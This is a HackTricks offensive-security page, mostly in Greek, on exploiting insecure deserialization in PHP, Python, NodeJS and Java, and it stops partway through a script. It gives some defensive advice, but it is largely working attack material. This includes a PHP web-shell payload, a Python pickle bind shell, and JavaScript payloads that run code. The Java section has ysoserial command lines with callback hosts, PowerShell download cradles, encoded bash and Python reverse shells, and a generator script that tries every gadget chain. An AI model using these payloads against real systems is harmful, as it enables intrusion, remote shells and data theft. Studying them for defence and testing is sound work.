Deserialization
Reading time: 44 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές Πληροφορίες
Serialization is understood as the method of converting an object into a format that can be preserved, with the intent of either storing the object or transmitting it as part of a communication process. This technique is commonly employed to ensure that the object can be recreated at a later time, maintaining its structure and state.
Deserialization, conversely, is the process that counteracts serialization. It involves taking data that has been structured in a specific format and reconstructing it back into an object.
Deserialization can be dangerous because it potentially allows attackers to manipulate the serialized data to execute harmful code or cause unexpected behavior in the application during the object reconstruction process.
PHP
In PHP, specific magic methods are utilized during the serialization and deserialization processes:
__sleep
: Καλείται όταν ένα αντικείμενο βρίσκεται στη διαδικασία serialization. Αυτή η μέθοδος πρέπει να επιστρέφει έναν πίνακα με τα ονόματα όλων των ιδιοτήτων του αντικειμένου που πρέπει να serialized. Χρησιμοποιείται συχνά για την καταγραφή εκκρεμών δεδομένων ή για παρόμοιες εργασίες καθαρισμού.__wakeup
: Καλείται όταν ένα αντικείμενο βρίσκεται στη διαδικασία deserialization. Χρησιμοποιείται για να επανασυνδεθούν τυχόν συνδέσεις βάσης δεδομένων που μπορεί να έχουν χαθεί κατά τη διάρκεια της serialization και να εκτελεστούν άλλες εργασίες επανα-αρχικοποίησης.__unserialize
: Αυτή η μέθοδος καλείται αντί για το__wakeup
(αν υπάρχει) όταν ένα αντικείμενο βρίσκεται στη διαδικασία deserialization. Παρέχει μεγαλύτερο έλεγχο πάνω στη διαδικασία deserialization σε σύγκριση με το__wakeup
.__destruct
: Αυτή η μέθοδος καλείται όταν ένα αντικείμενο πρόκειται να καταστραφεί ή όταν τελειώνει το script. Τυπικά χρησιμοποιείται για εργασίες καθαρισμού, όπως το κλείσιμο χειριστών αρχείων ή συνδέσεων βάσης δεδομένων.__toString
: Αυτή η μέθοδος επιτρέπει σε ένα αντικείμενο να αντιμετωπίζεται ως string. Μπορεί να χρησιμοποιηθεί για την ανάγνωση ενός αρχείου ή άλλες εργασίες βασισμένες στις συναρτήσεις που καλούνται μέσα σε αυτήν, παρέχοντας ουσιαστικά μια κειμενική αναπαράσταση του αντικειμένου.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
Αν κοιτάξετε τα αποτελέσματα θα δείτε ότι οι συναρτήσεις __wakeup
και __destruct
καλούνται όταν το αντικείμενο απο-σειριοποιείται. Σημειώστε ότι σε αρκετούς οδηγούς θα βρείτε ότι η συνάρτηση __toString
καλείται όταν προσπαθείτε να εκτυπώσετε κάποια ιδιότητα, αλλά προφανώς αυτό δεν συμβαίνει πια.
warning
Η μέθοδος __unserialize(array $data)
καλείται αντί του __wakeup()
εάν υλοποιείται στην κλάση. Σας επιτρέπει να απο-σειριοποιήσετε το αντικείμενο παρέχοντας τα σειριοποιημένα δεδομένα ως array. Μπορείτε να χρησιμοποιήσετε αυτή τη μέθοδο για να απο-σειριοποιήσετε ιδιότητες και να εκτελέσετε οποιεσδήποτες απαραίτητες εργασίες κατά την απο-σειριοποίηση.
class MyClass {
private $property;
public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}
Μπορείτε να διαβάσετε ένα εξηγημένο PHP example here: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, εδώ https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf ή εδώ https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Classes
Μπορείτε να καταχραστείτε τη λειτουργία PHP autoload για να φορτώσετε αυθαίρετα αρχεία php και άλλα:
PHP - Deserialization + Autoload Classes
Σειριοποίηση Αναφερόμενων Τιμών
Αν για κάποιο λόγο θέλετε να σειριοποιήσετε μια τιμή ως αναφορά σε άλλη σειριοποιημένη τιμή, μπορείτε:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
Αποτροπή του PHP Object Injection με allowed_classes
info
Η υποστήριξη για το δεύτερο όρισμα της unserialize()
(ο πίνακας $options
) προστέθηκε στην PHP 7.0. Σε παλαιότερες εκδόσεις η συνάρτηση δέχεται μόνο τη σειριασμένη συμβολοσειρά, καθιστώντας αδύνατο τον περιορισμό των κλάσεων που μπορούν να δημιουργηθούν.
unserialize()
θα δημιουργήσει αντικείμενο για κάθε κλάση που βρει μέσα στη σειριασμένη ροή, εκτός αν του υποδειχθεί το αντίθετο. Από την PHP 7 η συμπεριφορά μπορεί να περιοριστεί με το allowed_classes
επιλογή:
// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);
// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false // no classes may be created
]);
// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
Εάν allowed_classes
παραληφθεί ή ο κώδικας τρέχει σε PHP < 7.0, η κλήση γίνεται επικίνδυνη, καθώς ένας επιτιθέμενος μπορεί να διαμορφώσει ένα payload που εκμεταλλεύεται μαγικές μεθόδους όπως __wakeup()
ή __destruct()
για να πετύχει Remote Code Execution (RCE).
Πραγματικό παράδειγμα: Everest Forms (WordPress) CVE-2025-52709
Το plugin του WordPress Everest Forms ≤ 3.2.2 προσπάθησε να είναι αμυντικό με ένα helper wrapper αλλά ξέχασε τις παλαιότερες εκδόσεις PHP:
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}
Σε διακομιστές που εξακολουθούσαν να τρέχουν PHP ≤ 7.0 αυτό το δεύτερο branch οδηγούσε σε ένα κλασικό PHP Object Injection όταν ένας διαχειριστής άνοιγε μια κακόβουλη υποβολή φόρμας. Ένα ελάχιστο exploit payload θα μπορούσε να μοιάζει με:
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
Μόλις ο διαχειριστής είδε την εγγραφή, το αντικείμενο δημιουργήθηκε και η SomeClass::__destruct()
εκτελέστηκε, με αποτέλεσμα arbitrary code execution.
Take-aways
- Πάντα καθορίζετε
['allowed_classes' => false]
(ή μια αυστηρή white-list) όταν καλείτεunserialize()
. - Ελέγξτε τα defensive wrappers – συχνά ξεχνούν τις legacy PHP branches.
- Η αναβάθμιση σε PHP ≥ 7.x μόνη της δεν είναι αρκετή: η επιλογή πρέπει να δοθεί ρητά.
PHPGGC (ysoserial for PHP)
PHPGGC μπορεί να σας βοηθήσει να δημιουργήσετε payloads για να εκμεταλλευτείτε PHP deserializations.
Σημειώστε ότι σε αρκετές περιπτώσεις δεν θα μπορέσετε να βρείτε τρόπο να εκμεταλλευτείτε μια deserialization στον κώδικα πηγής της εφαρμογής αλλά ίσως να μπορέσετε να εκμεταλλευτείτε τον κώδικα εξωτερικών PHP extensions.
Οπότε, αν μπορείτε, ελέγξτε το phpinfo()
του server και αναζητήστε στο internet (και στα gadgets του PHPGGC) κάποια πιθανή gadget που θα μπορούσατε να εκμεταλλευτείτε.
phar:// metadata deserialization
Αν έχετε βρει ένα LFI που απλά διαβάζει το αρχείο και δεν εκτελεί τον php κώδικα μέσα σε αυτό, για παράδειγμα χρησιμοποιώντας συναρτήσεις όπως file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). Μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια deserialization που συμβαίνει όταν διαβάζετε ένα αρχείο χρησιμοποιώντας το phar πρωτόκολλο.
Για περισσότερες πληροφορίες διαβάστε το παρακάτω post:
Python
Pickle
Όταν το αντικείμενο γίνεται unpickle, η συνάρτηση ___reduce___ θα εκτελεστεί.
Σε περίπτωση εκμετάλλευσης, ο server μπορεί να επιστρέψει σφάλμα.
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Πριν ελέγξετε την τεχνική bypass, δοκιμάστε να χρησιμοποιήσετε print(base64.b64encode(pickle.dumps(P(),2)))
για να δημιουργήσετε ένα αντικείμενο συμβατό με python2 αν τρέχετε python3.
Για περισσότερες πληροφορίες σχετικά με το πως να διαφύγετε από pickle jails δείτε:
Yaml & jsonpickle
Η επόμενη σελίδα παρουσιάζει την τεχνική για κατάχρηση μιας μη-ασφαλούς deserialization στις βιβλιοθήκες yaml της python και ολοκληρώνει με ένα εργαλείο που μπορεί να χρησιμοποιηθεί για να δημιουργήσει RCE deserialization payload για Pickle, PyYAML, jsonpickle and ruamel.yaml:
Class Pollution (Python Prototype Pollution)
Class Pollution (Python's Prototype Pollution)
NodeJS
JS Magic Functions
JS δεν έχει "magic" functions όπως το PHP ή το Python που θα εκτελεστούν απλώς κατά τη δημιουργία ενός αντικειμένου. Όμως έχει κάποιες συναρτήσεις που χρησιμοποιούνται συχνά ακόμη και χωρίς να καλούνται άμεσα όπως οι toString
, valueOf
, toJSON
.
Αν εκμεταλλευτείτε μια deserialization και παραβιάσετε αυτές τις συναρτήσεις για να εκτελέσουν άλλο κώδικα (πιθανώς εκμεταλλευόμενοι prototype pollutions), μπορείτε να εκτελέσετε αυθαίρετο κώδικα όταν κληθούν.
Ένας άλλος "magic" τρόπος να κληθεί μια συνάρτηση χωρίς να κληθεί άμεσα είναι παραβιάζοντας ένα αντικείμενο που επιστρέφεται από μια async function (promise). Επειδή, αν μετατρέψετε εκείνο το return object σε άλλο promise με ένα property που λέγεται "then" του τύπου function, θα εκτελεστεί απλώς επειδή επιστράφηκε από άλλο promise. Follow this link for more info.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__
and prototype
pollution
Αν θέλεις να μάθεις για αυτήν την τεχνική ρίξε μια ματιά στον παρακάτω οδηγό:
NodeJS - proto & prototype Pollution
node-serialize
Αυτή η βιβλιοθήκη επιτρέπει τη σειριοποίηση συναρτήσεων. Παράδειγμα:
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
Το σειριοποιημένο αντικείμενο θα μοιάζει με:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
Μπορείτε να δείτε στο παράδειγμα ότι όταν μια function είναι serialized η σημαία _$$ND_FUNC$$_
προστίθεται στο serialized αντικείμενο.
Μέσα στο αρχείο node-serialize/lib/serialize.js
μπορείτε να βρείτε την ίδια flag και τον τρόπο που ο κώδικας τη χρησιμοποιεί.
Όπως φαίνεται στο τελευταίο κομμάτι κώδικα, εάν η flag βρεθεί χρησιμοποιείται το eval
για να deserialize τη function, οπότε ουσιαστικά user input χρησιμοποιείται μέσα στη συνάρτηση eval
.
Ωστόσο, απλά serialising μιας function δεν θα την εκτελέσει καθώς θα ήταν απαραίτητο κάποιο μέρος του κώδικα να καλεί το y.rce
στο παράδειγμά μας και αυτό είναι πολύ απίθανο.
Παρόλα αυτά, μπορείτε απλά να τροποποιήσετε το serialised αντικείμενο προσθέτοντας κάποιες παρενθέσεις ώστε να γίνει αυτόματη εκτέλεση της serialized function όταν το αντικείμενο deserialized.
Στο επόμενο κομμάτι κώδικα παρατηρήστε την τελευταία παρένθεση και το πώς η function unserialize
θα εκτελέσει αυτόματα τον κώδικα:
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
Όπως αναφέρθηκε προηγουμένως, αυτή η βιβλιοθήκη θα πάρει τον κώδικα μετά το _$$ND_FUNC$$_
και θα τον εκτελέσει χρησιμοποιώντας eval
. Συνεπώς, για να αυτοεκτελείται ο κώδικας μπορείτε να διαγράψετε το τμήμα δημιουργίας της function και την τελευταία παρένθεση και απλώς να εκτελέσετε ένα JS oneliner όπως στο ακόλουθο παράδειγμα:
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
Μπορείτε να find here περαιτέρω πληροφορίες σχετικά με το πώς να εκμεταλλευτείτε αυτήν την ευπάθεια.
funcster
Ένα αξιοσημείωτο στοιχείο του funcster είναι ότι τα τυπικά ενσωματωμένα αντικείμενα δεν είναι προσβάσιμα· βρίσκονται εκτός του προσβάσιμου πεδίου. Αυτός ο περιορισμός εμποδίζει την εκτέλεση κώδικα που προσπαθεί να καλεί μεθόδους σε ενσωματωμένα αντικείμενα, οδηγώντας σε εξαιρέσεις όπως "ReferenceError: console is not defined" όταν χρησιμοποιούνται εντολές όπως console.log() ή require(something).
Παρά αυτόν τον περιορισμό, η επαναφορά πλήρους πρόσβασης στο παγκόσμιο πλαίσιο, συμπεριλαμβανομένων όλων των τυπικών ενσωματωμένων αντικειμένων, είναι δυνατή μέσω μιας συγκεκριμένης προσέγγισης. Με την άμεση αξιοποίηση του παγκόσμιου πλαισίου, μπορεί κανείς να παρακάμψει αυτόν τον περιορισμό. Για παράδειγμα, η πρόσβαση μπορεί να επανακτηθεί χρησιμοποιώντας το ακόλουθο απόσπασμα:
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
Για more information read this source.
serialize-javascript
Το πακέτο serialize-javascript έχει σχεδιαστεί αποκλειστικά για σκοπούς σειριοποίησης και δεν διαθέτει ενσωματωμένες δυνατότητες αποσειριοποίησης. Οι χρήστες είναι υπεύθυνοι για την υλοποίηση της δικής τους μεθόδου για την αποσειριοποίηση. Στο επίσημο παράδειγμα προτείνεται η άμεση χρήση του eval
για την αποσειριοποίηση σειριοποιημένων δεδομένων:
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
Αν αυτή η function χρησιμοποιείται για να deserialize objects, μπορείτε να την easily exploit:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
Για more information read this source.
Cryo library
Στις παρακάτω σελίδες μπορείτε να βρείτε πληροφορίες σχετικά με το πώς να εκμεταλλευτείτε αυτή τη βιβλιοθήκη για να εκτελέσετε αυθαίρετες εντολές:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
Java - HTTP
Στο Java, deserialization callbacks εκτελούνται κατά τη διαδικασία της deserialization. Αυτή η εκτέλεση μπορεί να αξιοποιηθεί από attackers που δημιουργούν κακόβουλα payloads τα οποία ενεργοποιούν αυτά τα callbacks, οδηγώντας σε πιθανή εκτέλεση επιβλαβών ενεργειών.
Αποτυπώματα
White Box
Για να εντοπίσετε πιθανές serialization ευπάθειες στη βάση κώδικα, αναζητήστε:
- Κλάσεις που υλοποιούν το interface
Serializable
. - Χρήση των
java.io.ObjectInputStream
, των συναρτήσεωνreadObject
,readUnshare
.
Δώστε ιδιαίτερη προσοχή σε:
XMLDecoder
όταν χρησιμοποιείται με παραμέτρους που ορίζονται από εξωτερικούς χρήστες.- Τη μέθοδο
fromXML
τηςXStream
, ειδικά αν η έκδοση της XStream είναι μικρότερη ή ίση με 1.46, καθώς είναι ευάλωτη σε serialization προβλήματα. ObjectInputStream
σε συνδυασμό με τη μέθοδοreadObject
.- Υλοποίηση μεθόδων όπως
readObject
,readObjectNodData
,readResolve
, ήreadExternal
. ObjectInputStream.readUnshared
.- Γενική χρήση του
Serializable
.
Black Box
Για Black Box testing, αναζητήστε συγκεκριμένα signatures ή "Magic Bytes" που υποδηλώνουν java serialized objects (προερχόμενα από ObjectInputStream
):
- Δεκαεξαδικό μοτίβο:
AC ED 00 05
. - Μοτίβο Base64:
rO0
. - Κεφαλίδες HTTP απάντησης με
Content-type
ορισμένο σεapplication/x-java-serialized-object
. - Δεκαεξαδικό μοτίβο που υποδεικνύει προηγούμενη συμπίεση:
1F 8B 08 00
. - Μοτίβο Base64 που υποδεικνύει προηγούμενη συμπίεση:
H4sIA
. - Αρχεία web με την επέκταση
.faces
και την παράμετροfaces.ViewState
. Η ανακάλυψη αυτών των μοτίβων σε μια web εφαρμογή πρέπει να οδηγήσει σε εξέταση όπως αναλυτικά περιγράφεται στο post about Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
Έλεγχος αν είναι ευάλωτο
Αν θέλετε να μάθετε πώς λειτουργεί ένα Java Deserialized exploit θα πρέπει να ρίξετε μια ματιά στα Basic Java Deserialization, Java DNS Deserialization, και CommonsCollection1 Payload.
SignedObject-gated deserialization και pre-auth reachability
Σύγχρονα codebases μερικές φορές περικλείουν τη deserialization με java.security.SignedObject
και επαληθεύουν μια υπογραφή πριν καλέσουν getObject()
(που deserializes το εσωτερικό αντικείμενο). Αυτό αποτρέπει αυθαίρετες top-level gadget classes αλλά μπορεί να είναι εκμεταλλεύσιμο εάν ένας attacker αποκτήσει έγκυρη υπογραφή (π.χ. private-key compromise ή signing oracle). Επιπλέον, οι ροές χειρισμού σφαλμάτων ενδέχεται να δημιουργούν session-bound tokens για μη-επαληθευμένους χρήστες, αποκαλύπτοντας αλλιώς προστατευμένα sinks pre-auth.
Για μια συγκεκριμένη μελέτη περίπτωσης με requests, IoCs, και οδηγίες hardening, δείτε:
Java Signedobject Gated Deserialization
White Box Test
Μπορείτε να ελέγξετε αν είναι εγκατεστημένη οποιαδήποτε εφαρμογή με γνωστές ευπάθειες.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
Μπορείτε να δοκιμάσετε να ελέγξετε όλες τις βιβλιοθήκες που είναι γνωστό ότι είναι ευάλωτες και για τις οποίες Ysoserial μπορεί να παρέχει ένα exploit. Ή μπορείτε να ελέγξετε τις βιβλιοθήκες που υποδεικνύονται στο Java-Deserialization-Cheat-Sheet.
Μπορείτε επίσης να χρησιμοποιήσετε gadgetinspector για να αναζητήσετε πιθανές gadget chains που μπορούν να εκμεταλλευτούν.
Όταν τρέχετε gadgetinspector (μετά το build) μην δίνετε σημασία στα δεκάδες warnings/errors που εμφανίζονται και αφήστε το να ολοκληρώσει. Θα γράψει όλα τα ευρήματα κάτω από gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Παρακαλώ σημειώστε ότι gadgetinspector δεν θα δημιουργήσει exploit και μπορεί να εμφανίσει ψευδώς θετικά.
Black Box Test
Χρησιμοποιώντας το extension του Burp gadgetprobe μπορείτε να εντοπίσετε ποιες βιβλιοθήκες είναι διαθέσιμες (και ακόμη και τις εκδόσεις). Με αυτή την πληροφορία μπορεί να είναι πιο εύκολο να επιλέξετε ένα payload για να εκμεταλλευτείτε την ευπάθεια.
Read this to learn more about GadgetProbe.
GadgetProbe επικεντρώνεται σε ObjectInputStream
deserializations.
Χρησιμοποιώντας το extension του Burp Java Deserialization Scanner μπορείτε να εντοπίσετε ευάλωτες βιβλιοθήκες εκμεταλλεύσιμες με ysoserial και να τις εκμεταλλευτείτε.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner επικεντρώνεται σε ObjectInputStream
deserializations.
Μπορείτε επίσης να χρησιμοποιήσετε Freddy για να εντοπίσετε ευπάθειες σε deserializations μέσα στο Burp. Αυτό το plugin θα εντοπίσει όχι μόνο ευπάθειες σχετιζόμενες με ObjectInputStream
αλλά επίσης ευπάθειες από βιβλιοθήκες deserialization για Json και Yml. Σε active mode, θα προσπαθήσει να τις επιβεβαιώσει χρησιμοποιώντας sleep ή DNS payloads.
You can find more information about Freddy here.
Έλεγχος Σειριοποίησης
Δεν αφορά πάντα μόνο το αν ο server χρησιμοποιεί κάποια ευάλωτη βιβλιοθήκη. Μερικές φορές μπορεί να καταφέρετε να αλλάξετε τα δεδομένα μέσα στο serialized object και να παρακάμψετε κάποιους ελέγχους (ίσως να αποκτήσετε admin προνόμια μέσα σε μια webapp).
Αν εντοπίσετε ένα java serialized object που αποστέλλεται σε μια web εφαρμογή, μπορείτε να χρησιμοποιήσετε SerializationDumper για να εκτυπώσετε σε πιο ανθρώπινα αναγνώσιμη μορφή το serialized object που αποστέλλεται. Γνωρίζοντας ποια δεδομένα στέλνετε θα είναι πιο εύκολο να τα τροποποιήσετε και να παρακάμψετε κάποιους ελέγχους.
Exploit
ysoserial
Το κύριο εργαλείο για την εκμετάλλευση Java deserializations είναι ysoserial (download here). Μπορείτε επίσης να εξετάσετε τη χρήση του ysoseral-modified το οποίο θα σας επιτρέψει να χρησιμοποιήσετε σύνθετες εντολές (με pipes για παράδειγμα).
Σημειώστε ότι αυτό το εργαλείο είναι εστιασμένο στην εκμετάλλευση ObjectInputStream
.
Θα ξεκινούσα χρησιμοποιώντας το "URLDNS" payload πριν από ένα RCE payload για να δοκιμάσετε αν η injection είναι δυνατή. Πάντως, σημειώστε ότι ίσως το "URLDNS" payload να μην λειτουργεί αλλά κάποιο άλλο RCE payload να δουλεύει.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
Όταν δημιουργείτε ένα payload για java.lang.Runtime.exec() δεν μπορείτε να χρησιμοποιήσετε ειδικούς χαρακτήρες όπως ">" ή "|" για να ανακατευθύνετε την έξοδο μιας εκτέλεσης, "$()" για να εκτελέσετε εντολές ή ακόμα και να περάσετε επιχειρήματα σε μια εντολή χωρισμένα με κενά (μπορείτε να κάνετε echo -n "hello world"
αλλά δεν μπορείτε να κάνετε python2 -c 'print "Hello world"'
). Σε περίπτωση που θέλετε να κωδικοποιήσετε σωστά το payload μπορείτε να χρησιμοποιήσετε αυτήν τη σελίδα.
Μη διστάσετε να χρησιμοποιήσετε το παρακάτω script για να δημιουργήσετε all the possible code execution payloads για Windows και Linux και στη συνέχεια να τα δοκιμάσετε στην ευάλωτη ιστοσελίδα:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
